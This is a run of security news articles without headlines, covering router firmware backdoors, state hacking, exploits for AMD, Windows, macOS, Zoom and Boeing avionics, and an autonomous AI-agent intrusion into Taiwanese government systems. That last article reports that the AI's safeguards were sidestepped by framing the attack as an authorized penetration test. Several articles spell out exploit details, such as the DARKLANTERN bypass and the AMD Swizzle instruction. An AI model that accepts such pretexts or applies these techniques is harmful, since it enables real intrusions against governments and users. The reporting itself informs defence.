Security researchers have found three different backdoor-like implants hidden in firmware for routers manufactured by Shenzhen Zhibotong Electronics, better known as ZBT. The hardware is sold around the world under a bewildering array of brands, meaning you may not even realize you're using a ZBT router. The research, published by security firm VulnCheck, began with a Zbtlink AX3000 router. Researchers found that its firmware contained an implant that they dubbed ENDLESSDOORS, as it automatically phones home to a command-and-control server and can execute arbitrary commands as root.

ENDLESSDOORS is essentially a remote-control system embedded directly into the router's firmware. It starts automatically at boot and disguises itself as a normal Linux kernel process called kworker. The router periodically connects to a hard-coded server and announces itself. There's no meaningful authentication or encryption involved. Commands received from the server are passed directly to a shell running as root, and the implant can also establish an interactive root shell.

VulnCheck demonstrated the problem by impersonating the command server and taking control of its own test router. In other words, this isn't merely a theoretical vulnerability; if an attacker can hijack the connection to the implant's command server, they can obtain complete control of the router. The researchers found ENDLESSDOORS embedded in firmware for 20 ZBT models, including the Z8102AX, WG3526, WE826-T3-DSIM, and several other cellular routers. The same hardware is also sold under other names because ZBT manufactures routers for OEM and ODM customers. VulnCheck assigned the issue CVE-2026-66747, with a CVSS score of 9.3, but that wasn't the end of the investigation.

VulnCheck subsequently bought an $88 Deep Orange cellular router from a US seller on Amazon and discovered that it was actually a white-labeled ZBT-WE826-T2. Its 2019 firmware was too old to contain ENDLESSDOORS, but instead, it contained two other implants that the firm designated DARKLANTERN and SPEAKINGSTONE.

DARKLANTERN is the particularly straightforward one. Operating as the infosrvd service, it opens a listener on the WAN via UDP port 9992 and accepts commands directly from the Internet without authentication. An attacker only needs to send a fixed 19-byte info probe to force the router to reveal identifying information like its model, firmware version, MAC address, and uptime.

Researchers found that the backdoor's meager security mechanisms could be trivially bypassed: its command payload checksum relies on a static, hardcoded salt ("mqonu.com"), and its internal MAC address filter can be entirely circumvented simply by submitting a MAC field of all zeroes. This allows any remote attacker to easily forge a packet and execute arbitrary commands as root. VulnCheck scanned the Internet and found 203 exposed DARKLANTERN instances in 22 countries, spread across 16 router models.

Meanwhile, SPEAKINGSTONE works differently and is even more concerning. Rather than waiting for an attacker to connect to a listening port, it runs as the yunmgrd service and periodically beacons outbound to ZBT's command-and-control infrastructure over UDP port 10000. That makes it useful even when the router sits securely behind NAT or a firewall, as it relies on a custom format dubbed "zbtProtocol" to push full device fingerprints directly to the remote server. SPEAKINGSTONE is also considerably more capable than simply providing a remote shell. According to VulnCheck, its command protocol allows remote operators to execute arbitrary commands, steal WAN PPPoE credentials, rewrite a DNS hijack list, and establish a reverse SSH tunnel.

The researchers also discovered a backup command server domain embedded in the malware that nobody had registered, so naturally, they registered it themselves. VulnCheck set up a server capable of speaking SPEAKINGSTONE's protocol at the newly registered "www.findmyipaddr.com" and watched the infected routers start calling home.

By August 21st, 392 unique devices had connected to the sinkhole. Fully 390 of those 392 were located in China, with the vast majority using China Mobile's network. Most of those devices were the same router model running the same firmware, suggesting a large-scale carrier deployment rather than random consumer infections. VulnCheck describes this particular deployment as "domestic Chinese surveillance technology."

Now, that doesn't mean every ZBT router is a Chinese surveillance device. VulnCheck found ZBT hardware being sold under numerous independent brands worldwide, including Lippert Components, Wave WiFi, OneX in Australia, MoFI Network in Canada, Digineo in Germany, and more. Vulncheck explicitly notes that some of the firmware they examined did not contain the implants. The problem is that ZBT's OEM business makes the hardware's origin surprisingly difficult to identify. The same underlying platforms have appeared under brands including WiFlyer, Deep Orange, Cioswi, CroSkylink and KuWFi, among others.

So the really unsettling part isn't that VulnCheck found three vulnerabilities in an obscure router. It's that these aren't conventional vulnerabilities where someone accidentally forgot to bounds-check a buffer. These are pieces of software deliberately included in the router firmware that provide remote access to the device. We would normally call this malware, but ZBT has described ENDLESSDOORS as an after-sales technical-support mechanism.

VulnCheck's counterargument is pretty compelling; the firm says that whatever its intended purpose, the mechanisms don't securely authenticate the party controlling them. An attacker who can hijack the communications can potentially exercise the same privileges, and because ZBT hardware is frequently sold under other brands, simply not buying something with “ZBT” printed on the box isn't necessarily enough.

If you own one of the affected devices, of which you can find a list at VulnCheck's blog entries for the vulnerabilities (ENDLESSDOORS and the other two), the only real solution is to simply replace it, because the security holes were installed at the factory; it's not as if installing a different firmware version is going to restore trust. Even if your device isn't listed, for anyone running a cheap cellular router, travel router, RV router, or other piece of networking hardware from an obscure OEM, you need to keep in mind that the brand on the plastic probably isn't the company that wrote the firmware, and the fellow who wrote the firmware may not share your values with regard to freedom or privacy.

The U.S. Department of Justice and FBI revealed in a statement Wednesday that it had seized domains related to platforms that it claims were operated by China state-sponsored hackers. The press release says the Federal Reserve, Department of Energy, Department of Justice, Department of Health and Human Services, NIH, NASA, and U.S. Senate all experienced "computer intrusion activity."

The Justice Department says a state-sponsored group known as QTFY is responsible for the intrusion, which the U.S. government claims came to be through two pieces of malware: QTRouter and QScan. The release says the People's Republic of China (PRC) Ministry of State Security was among QTFY's paying customers.

According to the U.S. government, QScan "scans and automatically infects thousands of [IoT] devices worldwide." Those devices are then added to the QTRouter network. It's a botnet, but the Justice Department also calls it an "obfuscation layer" to mask the origin of malicious traffic. QTFY's system has been used to compromise U.S. critical infrastructure since 2018, according to the affidavit.

The group is said to be employed by the Nanjing Xinjiuwei Network Technology Company, which we were unable to find any information on.

As part of the action, the Justice Department seized three domains: qtproxy.xyz, qt-proxy.org, and qt-team.com. Those domains now show the seizure notice you can see below.

The investigation into the group began as early as 2019, when the FBI looked into a system intrusion at NASA related to the CVE-2019-11510, which was subsequently patched. The FBI traced the activity back to two Gmail accounts and a phone number with a +86 country code (the code for the PRC).

The group allegedly rented infrastructure from commercial platforms, leading to a series of abuse complaints to the emails by hosting provider Hostwinds. The FBI says the group obtained the three domains it seized between 2022 and 2024, registering them with domain registrar Namecheap and paying through PayPal.

Although the PRC routinely denies hacking activities in the U.S., Chinese officials reportedly acknowledged that the government was behind a series of attacks on U.S. infrastructure late last year. In 2024, 30-year-old wiretap systems deployed by the U.S. government in telecom and internet providers were reportedly compromised by Chinese attackers.

Chinese multinational tech giant Alibaba has been accused of tracking web users after a developer discovered its global online marketplace running hidden audio processes that could be used for sophisticated audio fingerprinting. While investigating an issue with his wireless headphones, Matt Callaghan found that opening an AliExpress webpage in Firefox or Chrome interfered with the multipoint Bluetooth audio feature.

As Callaghan explains in his blog post, “Normally the PC takes priority playing audio, with my phone being able to play audio when nothing is playing on the PC. Usually I listen to music on my phone but with notifications or YouTube playing through the PC.” However, shortly after loading the AliExpress homepage, audio from his phone would stop playing, despite no media playing on his PC. Closing the AliExpress tab immediately fixed the issue, while muting the tab, browser, or Windows did not seem to resolve it.

Their investigation began by inspecting various conventional media elements; however, he did not find any unusual activity. He also zeroed in on the fact that the problem would not begin immediately, but rather after the webpage had been sitting idle for a few seconds. He then moved on to inspect the Web Audio API to wrap the AudioContext constructor so that it would record whenever a page created an audio-processing context. They additionally wrapped AudioNode.prototype.connect() to see whether anything was connected to the context's audio destination.

Eventually, Callaghan found that the page was loading two suspicious scripts named collina.js and fireyejs.js, which appeared to be part of Alibaba's browser security and anti-abuse tooling. With some help from AI during his research, he found that the scripts built a Web Audio graph using a sawtooth oscillator to generate a waveform. An analyzer then measured the results after they passed through the browser's audio implementation, while another script read the resulting frequency data. The scripts also set the volume gain to zero, meaning there was no audible sound or noise, even though the browser continued actively processing the Web Audio graph.

Unlike autoplaying videos, there is no media element playing, which is why the browser's tab mute control does not help. However, the webpage continues performing live audio processing, keeping the Bluetooth audio path active and preventing multipoint Bluetooth headphones from switching between devices. Further investigation also uncovered code collecting information related to screen dimensions, device memory, browser plugins, WebGL rendering, supported audio and video formats, browser performance, mouse events, and more. The scripts also appear to serialize and encrypt the collected data before sending it to Alibaba's telemetry services using fetch() or sendBeacon() functions.

Following the discovery, Firefox said on X that its browser includes built-in protections against fingerprinting. The company pointed to a blog post explaining that Firefox 118, released in September 2023, introduced additional protections against Web Audio-based fingerprinting. Brave also claims to block audio fingerprinting by default. According to the browser maker, it does this by injecting randomized data into the browser's audio output, making the fingerprint appear different to websites and resetting the data between sessions.

Various U.S. agencies just released a warning claiming that Iranian hackers are targeting Siemens S7-series programmable logic controllers (PLCs). According to the Cybersecurity and Infrastructure Security Agency (CISA) advisory, hackers are using publicly available information on these widely used devices to develop exploits that would enable remote access and control. They’re also using AI tools, allowing them to identify additional attack vectors and possibly adapt to any defensive measures operators may have taken to protect their systems.

“The actors leverage Internet scanning services to find Internet-exposed PLCs running outdated software or that are otherwise poorly protected,” the agency said in its warning. “The U.S. critical infrastructure sectors most targeted by this threat activity include Critical Manufacturing, Energy, Water and Wastewater, Chemical, Food and Agriculture, and Commercial Facilities. This is not a theoretical risk — it is an active threat. Depending on the specific circumstances, exploitation of poorly protected PLCs could lead to disruption of critical industrial processes, safety incidents, downtime or equipment damage, compromise of sensitive data, compliance violations, and cascading impacts across interconnected systems.”

The warning comes from multiple government agencies, not just CISA. The advisory was also co-authored by the National Security Agency (NSA), the Federal Bureau of Investigation (FBI), the Department of Energy (DOE), and the Environmental Protection Agency (EPA), underscoring how serious this issue could become. Because of this, operators using Siemens S7 PLCs (and other PLCs operating critical infrastructure) are advised to keep their equipment updated with the latest applicable security patches, isolate it from the internet as much as possible, protect it with strong access controls, and deploy cybersecurity measures to monitor industrial control systems (ICS) for any anomalies and possible malicious activity.

What makes the threat especially dangerous is that the use of AI tools could enable potential attackers to make malicious files look and behave like legitimate monitoring tools. They achieve this by using open-source industrial automation libraries, making it easier for unsuspecting users to fall victim to their attacks. Although the agencies did not specify where these attacks could originate, they came less than a month after the water infrastructure of several states was hit by cyberattacks thought to have originated from Iran.

The proliferation of internet-connected devices in critical infrastructure has made them prime targets for both hackers seeking to make big money and nation-states seeking to gain an advantage over their opponents. This was made apparent in recent years when key government websites and online services in Ukraine went down just as the Russian military started pouring across its borders back in 2022. More recently, a worm from an unknown source wiped Iranian machines during the first quarter of 2026, which happened around the same time as the United States’ bombing campaign against the country.

There were even claims from Iran that networking devices from American and European companies failed during an attack even though they were disconnected from the rest of the world. Aside from these scenarios in active warfare, cyberattacks could also be used in gray warfare, where opponents can inflict maximum damage while retaining plausible deniability, reducing the chances of retaliation.

Slovakia sought to modernize its traffic control systems with the acquisition of a batch of 279 new NERO R-ONE speed cameras, reports the Risky Bulletin Newsletter. Unfortunately, the country’s national security service, the NBU, has discovered that the cameras have multiple security issues. Firstly, they have SMS-activated Russian backdoors. Secondly, live camera feeds can be accessed by anyone with the device IP, no password necessary. Slovakia splurged a chunk of its €30 million EU-fund modernization budget on this now deactivated system.

The nearly 300 freshly installed NERO R-ONE cameras are thought to be rebranded Russian CORDON PRO.M traffic cameras, produced by a St. Petersburg-based firm called Semicon. Their path to acquisition sounds rather serpentine, with the big batch reportedly bought via a Cyprus-based shell company with fake certifications. Reports also suggest that pressure from the opposition political party in Slovakia led to the NBU investigations. The current government of the country, led by populist Robert Fico, initially denied reports that the cameras were of Russian origin and rebuffed any security concerns. Fico has what some would describe as a pro-Russia tilt, but you can read more about that elsewhere, if you are interested.

Camera flaws and vulnerabilities

As we mentioned in the intro, the hundreds of cameras Slovakia recently acquired and deployed have multiple issues which seem serious. Probably most seriously, in terms of national security, these cameras contain a hardcoded list of Russian phone numbers, which can be used to open a backdoor. An SMS from one of these numbers can open shell and network access.

Another problem with the cameras concerns broader security flaws. For example the SecureBoot feature is ineffective, and the web management portal can be accessed, exposing live streams, by anyone with the camera IP.

Cameras that have been installed and set up have since been deactivated by the Slovak Ministry of the Interior. Meanwhile, for due diligence, an independent auditor will be called in to confirm the NBU’s findings. It is thought that Croatia, and some other countries in Eastern Europe, may have undiscovered issues with traffic control cameras of similar origin.

For the most part, you can rest assured that your device will remain uncompromised by malware if you keep to verified, trusted sources for downloading software. And yet, software booby traps sometimes find their way onto legitimate wares, as was the case of Geekom's network drivers for its range of A7, A8, AE7, AE8, AX7 Pro and AX8 Pro mini-PCs, as discovered by Videocardz.

If you have a Geekom mini-PC from those lines and have installed the LAN driver from the firm's website in the past, we'd advise a full system wipe if possible, or at the very least a Windows Defender offline scan. But in the words of Lt. Ellen Ripley, "nuke the entire site from orbit. It's the only way to be sure."

As it's part of a driver installer, this malicious software would get administrator-level permissions on your machine, being granted permission to steal all your data, intercept your keystrokes, or retrieve passwords. It connects to command-and-control centers so that the malfeasants can remotely access your PC at any time.

The basic story is fairly simple and sad as these things go: a support page for those series of machines contained a LAN driver whose installer was laced with the Asruex backdoor malware. As expected, Geekom has removed the software package in question and offered an apology, stating the driver was on a "legacy page [that] had already been replaced and was no longer accessible through the normal Support navigation, although it remained indexed by search engines."

The latter bit is precisely the problem, as it's a reasonable bet that many users (like yours truly) will first use Google or AI search to find the driver, and wouldn't go through Geekom's support menus. Furthermore, Geekom requested that Videocardz retract its original reporting of the problem, an arguably questionable move, and an ask that Videocardz denied.

For its part, Videocardz checked that the Asruex malware was indeed present with four separate detection engines: VirusTotal, FileScan.IO, MetaDefender, and Yarafy. It's worth nothing that nothing suggests that these families of mini-PCs are vulnerable out-of-the-box, too. That was unfortunately the case with some AceMagic machines a couple years ago that shipped with Bladabindi and Redline malware from the factory, as was Asus' incident with poisoned software updates in 2019.

The common knowledge for a new install is to get driver packages from Windows Update and only go to the manufacturers' website if something is amiss. However, many users might go to Geekom's site to ensure that they have the latest versions of their drivers, or perhaps they downloaded the LAN driver when trying to diagnose network issues of some sort.

As for a baseline cause, in our view this is clearly a case of Hanlon's Razor, as relatively small OEMs would have next to nothing to gain and everything to lose by intentionally shipping malware packages with their machines. As can be attested by most anyone who's installed Windows motherboard software of variable quality, Taiwan has historically been regarded as considering software a secondary concern when developing technology products, in part thanks to its unique geopolitical situation and the fact that its government only splits 30% of its IT budget to software.

The Dutch National Cyber Security Centre (NCSC-NL) reported on August 12 that attackers are actively exploiting CVE-2026-65400, an authentication bypass in macOS Screen Sharing, to compromise Macs with port 5900 exposed to the Internet. In every case reported to the agency, attackers obtained root access and installed a Monero cryptocurrency miner. Apple patched the flaw on August 6 in an out-of-band update covering macOS Tahoe 26.6.1, Sequoia 15.7.9, and Sonoma 14.8.9, but the bug's official severity has since been rewritten, with CISA raising its CVSS score from 7.1 to 9.8 critical on August 14, now assessing the attack as automatable.

NCSC-NL first flagged the vulnerability in an advisory on August 7, a day after Apple's patch, urging organizations to update immediately. The August 12 revision added that public proof-of-concept code is now available and that active abuse had been observed on multiple internet-exposed systems.

Technical details of the bug were presented at last week's Black Hat conference, according to Ars Technica, alongside a video of the exploit in action. The root-level access attackers gained in the reported incidents matches the level of control researchers demonstrated in May, when they bypassed Memory Integrity Enforcement on Apple's M5 silicon with AI assistance.

NVD's change log for CVE-2026-65400 shows CISA initially scored the bug at 7.1 on August 6, using a vector that assumed an attacker needed low-level privileges and could achieve only partial impact. On August 14, the agency replaced that vector with one requiring no privileges and granting full compromise of confidentiality, integrity, and availability, raising the score to 9.8. A day later, CISA's decision record for the flaw flipped from "not automatable" to automatable, an assessment consistent with unattended Macs being rooted at scale for coin mining.

The flaw still isn't in CISA's Known Exploited Vulnerabilities catalog as of this writing. The same decision record also still lists exploitation as "none," despite the NCSC-NL report. Users who can't update immediately can turn Screen Sharing off under System Settings > General > Sharing.

Apple's advisory says an attacker on the network may be able to "authenticate to Screen Sharing without valid credentials," and describes the fix as improved state management during authentication. Screen Sharing is the VNC-based remote desktop service built into macOS, listening on TCP port 5900, which is disabled by default. The August 6 update comes just 10 days after Apple’s July 27 security round and fixes only this single CVE, representing the second Screen Sharing patch in a month. CVE-2026-43760, which required valid credentials to exploit, was fixed in the late-July releases.

President Donald Trump signed a presidential memorandum on August 12 establishing the first U.S. program that lets vetted private companies conduct offensive cyber operations, including attacks that destroy data and systems, against foreign cybercrime organizations. Participating firms must post at least $1 million in escrow, forfeited if they break the program's rules, and every operation requires written approval from officials of the Department of Justice and the Department of Homeland Security. Just a few months ago, the administration publicly ruled out this very policy.

In March, Thomas Lind, then a senior adviser at the Office of the National Cyber Director, told a conference the administration had no plans to authorize private offensive operations. "We're not interested in fighting pirates with pirates," Lind said. National Cyber Director Sean Cairncross said the same week that companies running offensive campaigns weren't what the administration meant when it asked industry for more help.

The memorandum authorizes two categories of activity: "Cyber Surveillance Operations," meaning unauthorized access to foreign systems to collect intelligence while staying undetected, and "Cyber Effects Operations," meaning the disruption or destruction of systems and the data on them. A National Coordination Center manages the program, implementation guidance is due within 60 days, and eligibility rules will admit both large firms and smaller companies suited to specialized tasks. Any company that unintentionally hits a U.S. person or a system on U.S. soil must halt operations and notify the government immediately.

A foreign group qualifies as a target under the memo unless "clear intelligence exists" establishing it's institutionally part of a foreign government or wholly operated under one's direction. Ransomware crews that operate with state tolerance but not formal state control, a description that fits much of the Russia-based ransomware ecosystem, stay well within the target scope. The DOJ and DHS directors can't approve operations likely to cause loss of life or rise to an armed attack under international law.

The memo stops short of prohibiting such operations, with approval authority for them sitting in a classified annex. Participating companies can also sign commercial deals with other private firms, and with state and local agencies, to receive threat data and propose operations based on it.

Jake Williams, vice president of research and development at cybersecurity firm Hunter Strategy, told TechCrunch that Americans involved in the operations "could easily be classified as non-uniformed combatants while traveling overseas." The memo follows suspected Iranian cyberattacks on water suppliers in 45 U.S. municipalities and a CISA alert on Iranian hackers targeting programmable logic controllers at water and energy companies, though state-directed hackers fall outside the program's own definition of a valid target.

Congress earmarked $1 billion for offensive cyber operations in last year's spending bill, and Google said in August last year it was preparing to take part in disruptive actions against cybercriminals.

Many cybersecurity exploits have been deemed The One Ring To Rule Them All, but that moniker is rarely as true as a literal bit that disables the memory mapping on some AMD CPUs, granting access to normally inaccessible areas. With just one instruction, you can access off-limits software like Platform Security Processor (PSP) where the TPM runs, the System Management Mode (SMM), microcode patch RAM, and other various sundries — in other words, full hardware-level control.

The exploit is called Skitter Creek Bath Salts (Skitter), and was developed by prolific hacker Christopher Domas, famous for finding CPU flaws like Sandsifter and God Mode Unlocked. Only AMD chips from the 15h and 16h families are affected, roughly 2011 to 2015 vintages. Family 15 is FX-series desktop chips and some Opterons, while 16h includes low-power Jaguar- and Puma-based SoCs like those in the PlayStation 4 and Xbox One, plus a handful of Athlon, Sempron, and Opteron-X chips, among others.

To pull off this exploit, you'll need kernel-level access, meaning the ability to run your own drivers. But once you do, the entirety of DRAM is your oyster. AMD published a security bulletin on the matter, saying these chips are out of security support, plus, as mentioned, the necessary access level means an attacker already controls the machine anyway.

If you're confused as to how one instruction opens up a system, here's our attempt at a simplification. Say you have 16 GB of RAM. You'd think that Windows gets all 16 GB to play with, from address 0 to the end of memory — but as you may have noticed before, it's actually a bit less than that. The rest is reserved for system-level data.

Some parts are visible to the OS so it can interact with devices, but others include Very Important Things like PSP, SMM, microcode patches, all in sections supposed to be completely untouchable. If they were accessible, the system as a whole wasn't secure by definition anymore — just think of a malicious driver being able to freely mess with how your processor handles data.

For performance reasons, modern processors' RAM controllers don't use memory in a straight line, so to speak — they use bank interleaving, meaning that the actual bytes in the DRAM are jumbled, all while the OS sees a nice, tidy, flat surface. As it turns out, the CPU setting that controls this feature is accessible to the OS in the aforementioned chip families, and it's called BankSwizzleMode (Swizzle). It can be toggled on or off with the instruction "xor dword [0xf80c2094], 0x00400000", a simple bit twiddle. And as it turns out, this can be exploited.

First, you run a loop to figure out how the mapping normally functions. You place a canary value in memory (say, 0xDEADBEEF, according to tradition), disable Swizzle, run through memory to see where it landed, and reenable Swizzle again. Do this enough times, and you know exactly how visible memory is mapped into physical DRAM, and vice versa.

With the map now in your possession, you can now disable Swizzle and force a read or write to normally inaccessible areas of the DRAM, since you now know where it will land. With this, you can access all the previously hidden code and data, netting you hardware-level access to do anything you want, including reading fTPM signing code and any other low-level shenanigans you can think of.

Attentive readers might be wondering why the system doesn't crash during this process since you're effectively temporarily turning the RAM into a spaghetti mess. The answer is that every time you enable and disable Swizzle, you prepare the CPU by disabling interrupts, along with a number of other measures. Even still, the machine can crash during the map-collection step, but that only needs to be done once. After you have the map, the likelihood of a crash is fairly low since you'll be targeting specific locations.

Another question might be why sending a bit to a memory location somehow messes with the CPU, and the answer is that part of OS-accessible memory is actually mapped to hardware according to the Memory-Mapped Configuration Space standard (MMCONFIG) — meaning that reads or writes to that space are directed to hardware configuration settings, not actual RAM.

Edit 8/14/2026: Clarified TPM.

Prolific hacker and Microsoft nemesis 'Nightmare Eclipse' has just published ShieldBreak, yet another Windows zero-day vulnerability that ought to get you SYSTEM-level privileges just by running some code as a regular user. Although Eclipse has generally kept ahead of Microsoft, it seems the company may be catching up, as our own quick testing found this exploit is already detected by Defender and might even be patched as of last Tuesday.

As described by the author, ShieldBreak is essentially a continuation of the previously reported RoguePlanet vulnerability in Windows Defender's subsystems. Eclipse claims that Microsoft failed to properly patch RoguePlanet, and that ShieldBreak in theory bypasses the recently added protection.

The proof-of-concept code for the new exploit is supposed to bring up a super-elevated command prompt with SYSTEM privileges (higher than Administrator). The author claims the vulnerability is present in the "latest" versions of Windows 11, Windows Server 2025, and Windows 10, though the proof-of-concept is limited to the former two operating systems.

Although researchers like Kevin Beaumont and Will Dormann say they've successfully reproduced the exploit, our informal testing in a Windows 11 virtual machine didn't yield any results. Said VM was just updated yesterday with the latest Windows 11 patches and currently sits at version 10.0.26200.9168. Given that Microsoft just published a giga-patch last Tuesday, there's a solid chance it plugged whichever hole ShieldBreak was getting through.

The sample screenshot in the ShieldBreak repository shows the exploit working under version 10.0.26100.33296, lending some credence to this theory. A sample size of one does not research make, so we advise caution and remind everyone to run their own testing before assuming the bug has truly been fixed.

Microsoft appears to have already published a Defender detection for it. We found it when double-checking our results, with just a 20-minute window between both tests, as shown in the screenshot below.

Even if the issue is fixed, not every user updates their machines as soon as patches are available, and perhaps more importantly, corporations tend to hold back on patches until they know they don't bring in any new issues. That means that a good portion of the world's machines may still be vulnerable to ShieldBreak.

Little is known about Nightmare Eclipse, other than that they really don't like Microsoft and claim the company has ruined their lives. Some cybersecurity experts like Brian Krebs and Kevin Beaumont have offered up the theory that Eclipse is a disgruntled Microsoft ex-employee.

A group of researchers from the University of California San Diego (UCSD) and Oberlin College have developed a tiny device about the size of a coin that directly attaches to an external port on a Boeing 737 that connects to its Flight Management Computer (FMC) and Multipurpose Control Display Unit (MCDU). According to Wired, this gadget, which goes into one of the ports that aircraft mechanics use to test and diagnose avionics, is small enough to fit under its dust cap and go unnoticed during routine inspections. It then overrides the signals between the MCDU — the terminal in the cockpit that allows pilots to see and input data — and the FMC, the actual computer that controls the plane’s navigation, autopilot, performance calculations, and more.

The idea began when researchers were experimenting with hacking cars remotely in the mid-to-late 2010s, when they wondered if aircraft could be vulnerable to these types of attacks as well. Since an entire commercial aircraft is quite expensive, the group settled on looking for bargain-bin used aircraft parts until they were finally able to build a complete avionics stack to do their experiments on. Another UCSD professor, Aaron Schulman, was working on a different research project about credit card skimmers when the group realized that the communication bus that some skimmers were tapping into to steal payment information could potentially work similarly on a jet. “We realized that it's a reasonable threat for someone to plug a device into a bus and read stuff off of it and potentially even gain control of it,” Schulman told Wired. “We were like, ‘Wait a minute, we’ve got to rethink everything.’”

This was where the researchers discovered that a port in one of the Boeing 737’s two Electronics and Equipment (E&E) bays, located either in front of or behind the nose wheel well, connected to a bus that carried the data between the FMC and MCDU. This port, typically used for testing and diagnostics, isn’t protected by anything except for a dust cap and could easily be accessible by anyone authorized to work on or be around the aircraft. What’s more concerning is that the device can connect to the internet via in-flight Wi-Fi, allowing the researchers to tap into the plane’s avionics remotely.

Some of the changes they were able to make included intercepting, altering, and spoofing data and commands that go between the FMC and MCDU. This includes changing the outside air temperature readings and the aircraft weight inputted into the system, which could mess with the aircraft’s takeoff performance. If the temperature that the FMC has is higher than what the MCDU shows, or if the weight is lighter than what is actually measured, then the engine power set that the FMC will set for the takeoff might not be enough to get it off the ground.

This is actually the biggest threat to aircraft, as incidents of mistyped takeoff weight (by 100 tons) have resulted in tail strikes for LATAM 8073 in 2024 and Emirates 407 in 2009. A more egregious accident happened in 2004, when the crew of MK Airlines 1602 typed the empty weight of their Boeing 747 instead of its actual weight, resulting in the plane striking an earthen berm and causing it to disintegrate and crash into the ground. However, these events have caused the industry to implement stricter measures to prevent these crashes from happening again, including independent computations on their electronic flight bags (EFBs) and warning messages on the Electronic Flight Display (EFD), which is independent of the MCDU.

Another thing that a potential attacker can do is to silently change the plane’s flight plan, causing it to divert from its intended routing. They can do this by making minor changes that might be imperceptible to the pilots, causing the flight to go astray over time. Despite these threats, pilots are trained to deal with conflicting data from the MCDU and override the FMC as necessary. Incidents in the past, like the disappearance of MH370, have ensured that multiple systems exist so that a malfunctioning or compromised FMC will not lead to disaster. For example, an aircraft deviating from its assigned route and altitude will be contacted by ATC, as we have seen in this small aircraft crash that began when the pilots were confused by GPS jamming.

Because of these safety layers, Boeing told Wired, “Our technical experts are confident that the layers of protection in place on the airplane, including within the system design and the operating environment, provide sufficient mitigation to significantly limit the feasibility and risk of real-world attacks.” Still, it doesn’t mean that aircraft manufacturers should just ignore this threat. The researchers initially suggested permanently blocking the service port, followed by better isolation of electrical systems, or the addition of cryptography to prevent a device such as this from spoofing the plane’s systems. However, they also feared that Boeing would not do anything, as major changes like this are expensive and could take years to implement. We see this in some aircraft that still carry passengers or freight to this day but are kept updated through 3.5-inch floppy disks.

We've typed many words about how the industry-standard 90-day security bug disclosure window is effectively dead and gone with the advent of AI-assisted exploiting. Illustrating that point rather poignantly, researchers at A.Security easily came up with Zoomsday. This exploit let any participant in a Zoom meeting gain control over the device of anyone else, all without them being any wiser.

The team claims it cooked the exploit with merely 20 prompts to an AI agent. The exploitable area is substantial, as recent estimates pin Zoom's monthly active users at around 220 million and an estimated 56% of the global conferencing market share.

There were two remote code execution (RCE) vulnerabilities present in Zoom Workplace before 7.0.6 and, for users on the "fast track" branch, before version 7.1.5. The bugs were in a library used by Zoom's annotation functionality, though no participants need to actually use the whiteboard for the exploit to work — the code is always on, so all an attacker needed to do was join the meeting. Zoom quickly fixed the bugs after the initial reports, so everyone who has updated Zoom Workplace to the current version should be safe.

With the exploit, the attacker was able to get full remote code execution, meaning they could effectively control the user's computer and their data — invisibly, to boot. Zoom isn't an application that runs with administrator privileges, so kernel-level rootkits are off the menu, but once you have the user's data, it's not like you need much else. Plus, it's easy to gain exploit persistence any number of other ways.

A.Security says a small team developed this exploit with a mere 20 prompts to an AI agent — pointing out how easy it was to come up with a nation-state-class vulnerability with meager resources. While the majority of AI-assisted vulnerability research focuses on open-source software or applications with published communications protocols or file formats, Zoom is fully proprietary, and it was still easily cracked open.

The firm further noted that "the model requiring elite teams, months of effort, and weapons-grade budgets has collapsed," and that "the barrier that kept these weapons scarce has collapsed, and it will not come back" — basically repeating what every security researcher has been yelling from the top of their lungs for the past year or so.

The vulnerability itself is, rather unsurprisingly, a buffer overrun: the program fails to check that an input is the right size, so you can push more data than it expects and overwrite part of the following memory with code that will be executed.

First, the scientists decompiled the Android package and asked an AI agent to rank the potential attack surfaces to relatively little success. They then turned their attention to the communications protocol. They found that the code library handling annotations received each object (rectangles, text, etc.) in serialized form, with count fields telling the recipient how much data to read next.

Crucially, they found that the code handling these reads didn't have a boundary check for maximum size, meaning one could simply lie about it and send a chunk of data that's too large and padded with exploit code at the end, as Norman Stansfield would say, bin-go!

Hackers with suspected links to China used publicly available AI tools to carry out what researchers describe as the first observed end-to-end autonomous cyberattack against a government target, compromising at least 85 user accounts and stealing more than 2,500 personnel records from Taiwanese government systems, according to an August 12 Financial Times report, citing researchers at Israeli cybersecurity company Dream. The researchers say the attackers assembled an autonomous hacking platform using open-source AI-agent frameworks, enabling multiple agents to simultaneously map networks, research vulnerabilities, attempt intrusions, and adapt tactics when an attack path failed.

The campaign reportedly ran for four days at the beginning of July and at times deployed as many as eight autonomous agents in parallel. Dream said the system mapped 21 government systems before compromising user accounts and extracting personnel information. The attackers subsequently expanded their activity to Taiwan's nuclear safety agency, at least seven energy companies, government suppliers, and other government systems.

Dream says it found the evidence inside a 160-megabyte (160MB) online archive that surfaced during its broader tracking of cyberthreat actors. The archive reportedly held 1,395 files showing that the tool was built on two open-source AI agent systems — Hermes and OpenClaw — both of which can be downloaded freely and are designed to let large language models carry out multi-step tasks on their own.

Researchers could not determine which underlying model powered the agents, but the data reportedly showed the model's safeguards had been sidestepped by presenting the intrusion as an authorized penetration test rather than a real attack. Of particular concern is that the toolkit for the hack comprised such easily available systems, neither of which was purpose-built for offense. The operators appear to have assembled a capable autonomous tool out of components any developer can pull down and run.

What the researchers describe as the tool’s most striking feature was its ability to continuously devise attacks on its own, rather than follow a preprogrammed route. The platform continuously assessed available evidence, ranked possible attack paths, and reprioritized them as circumstances changed. When one technique failed, the tool tasked another agent with searching the internet for information and developing an alternative approach.

Dream stopped short of attributing the campaign to a specific hacking group or country. However, the researchers said the operators’ internal communications were written in Simplified Chinese, suggesting what they called a high probability that the operator was connected to China. The company also declined to name the victim, citing policy, but confirmed that it had notified a country in the "Asia-Pacific" region. Also, the data pulled from the target was in Traditional Chinese — a script used on government sites in Taiwan, Hong Kong, and Macau. Financial Times said a person with knowledge of the incident identified the target as Taiwan.

The incident highlights a growing concern within both the cybersecurity and AI industries over what the latest AI models can do autonomously. Anthropic, OpenAI, and Meta have reported instances of new AI models launching unexpected cyberattacks during internal testing, an infamous example being the recent OpenAI agent’s attack on Hugging Face. In another instance, OpenClaw wiped the inbox of Meta's AI Alignment director despite repeated commands to stop

Researchers have warned that AI agents are making it increasingly easy to automate portions of cyberattacks that previously required skilled human operators, another deadly feature in the era of AI hacking. Dream's chief strategy officer, Amir Becker, warned that the arrival of such tooling used in the Taiwan attack means every government should now assume it is under permanent automated assault.

